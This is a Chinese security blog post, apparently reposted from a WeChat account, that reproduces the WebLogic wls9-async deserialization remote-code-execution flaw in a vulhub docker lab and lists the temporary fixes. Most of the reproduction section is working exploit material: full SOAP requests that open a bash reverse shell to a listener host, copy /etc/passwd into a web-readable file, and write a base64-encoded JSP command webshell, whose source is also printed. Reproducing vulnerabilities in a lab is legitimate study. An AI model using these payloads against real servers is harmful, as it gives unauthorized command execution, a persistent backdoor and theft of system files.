有POC就得分析之WebLogic wls9-async反序列化漏洞复现

释放双眼,带上耳机,听听看~!

       WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。


       WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.3) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

而weblogic在近两年来可谓是漏洞集合,各类漏洞层出不穷,主要是以反序列化类漏洞为主,下面这个便是最新被评级的漏洞,虽说补丁早已打,但是分析过程甚是有趣,下面跟着木星实验室的大牛一块来看看吧。

0x01 漏洞编号

CNVD-C-2019-48814

0x02 漏洞等级

高危

0x03 漏洞描述

WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。

 

0x04 漏洞影响范围

WebLogic 10.X

WebLogic 12.1.3

 

0x05 修复建议

目前,Oracle官方暂未发布补丁,临时解决方案如下:

       1、删除该wls9_async_response.war包并重启webLogic:

该war包具体路径如下:

WebLogic 10.3.*:

Middleware/wlserver_10.3/server/lib/bea_wls9_async_response.war

WebLogic 12.1.3:

Middleware/Oracle_Home/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

2、 通过访问策略控制禁止 /_async/* 路径的URL访问。


0x06 漏洞复现

本次漏洞复现使用的实验环境为vulhub上的weblogic docker 镜像,weblogic版本为10.3.6.0。

通过以下方式获取镜像,在kali新建docker-compose.yml,内容如下:

version: '2'services: weblogic: image:vulhub/weblogic ports: -"7001:7001" 

保存后运行下面命令构建镜像

docker-compose up -d

如果没有安装docker-compose,可通过apt install docker-compose安装。

构建完成后,打开http://172.16.127.182:7001/即可访问weblogic。其中的172.16.127.182测试时需要换成你自己的kali本地ip。

 

访问http://172.16.127.182:7001/_async/AsyncResponseService

如果出现以下页面,刚存在漏洞:

反弹shell:

在172.16.127.1的linux上使用nc -lvp 8888 (mac使用nc-l 8888)监听8888端口,

在burp上发送以下POC请求可以反弹shell,注意,命令部分要做HTML编码。

POST /_async/AsyncResponseService HTTP/1.1Host: 172.16.127.182:7001Content-Length: 788Accept-Encoding: gzip, deflateSOAPAction:Accept: */*User-Agent: Apache-HttpClient/4.1.1 (java 1.5)Connection: keep-alivecontent-type: text/xml <soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String"length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp;/dev/tcp/172.16.127.1/8888 0&gt;&amp;1</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

如果需要执行命令并回显,可以通过把命令结果重定向到文件中,再通过访问该文件来获取输出,如通过把POC中的命令修改成

cat /etc/passwd > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/result.txt

即可重定向到该目录的result.txt中了,完整的请求内容如下:

POST /_async/AsyncResponseService HTTP/1.1Host: ip:portContent-Length: 835Accept-Encoding: gzip, deflateSOAPAction:Accept: */*User-Agent: Apache-HttpClient/4.1.1 (java 1.5)Connection: keep-alivecontent-type: text/xml <soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContextxmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String"length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>cat /etc/passwd &gt;servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/result.txt</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

发送完请求后,访问http://172.16.127.182:7001/_async/result.txt即可获取命令输出结果。

也可以通过以下命令写个webshell到服务器:

echo PCUKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiU+Cg==|base64-d >servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp


其中base64编码的值为

<% java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a =-1;  byte[] b= new byte[1024];  out.print("<pre>");  while((a=in.read(b))!=-1){ out.println(new String(b));  } out.print("</pre>");%>

完整的POST请求如下:

POST /_async/AsyncResponseService HTTP/1.1Host: ip:portContent-Length: 1302Accept-Encoding: gzip, deflateSOAPAction:Accept: */*User-Agent: Apache-HttpClient/4.1.1 (java 1.5)Connection: keep-alivecontent-type: text/xml <soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String"length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>echoPCUKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiU+Cg==|base64-d &gt; servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

接着访问以下地址即可通过webshell执行cat /etc/passwd命令

http://172.16.127.182:7001/_async/shell.jsp?cmd=cat%20/etc/passwd


木星安全实验室,由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、应用安全、数据防泄密、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究,具有强大的红队评估与漏洞挖掘能力,在确保客户业务正常运行的前提下,持久性地模拟网络间谍渗透被授权的网络环境,有效覆盖传统渗透测试所不能进行0day漏洞挖掘、社会工程学、物理入侵等高级渗透方法。



近期看点(点击即可):

欢迎下方长按识别二维码关注本公众号

更多情报和数据,请关注公众号,点击菜单栏,扫码加入知识星球

感谢您的关注和转发

右下角

朕已阅

本文源自微信公众号:黑鸟

人已赞赏
安全工具

某网军买完0day网络武器后,居然拷贝到有杀软的计算机中......

2019-10-16 10:14:14

安全工具

巧合?美团饿了么疑似“偷听” 用户聊天,推荐算法何必如此丧尽天良

2019-10-16 10:14:29

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索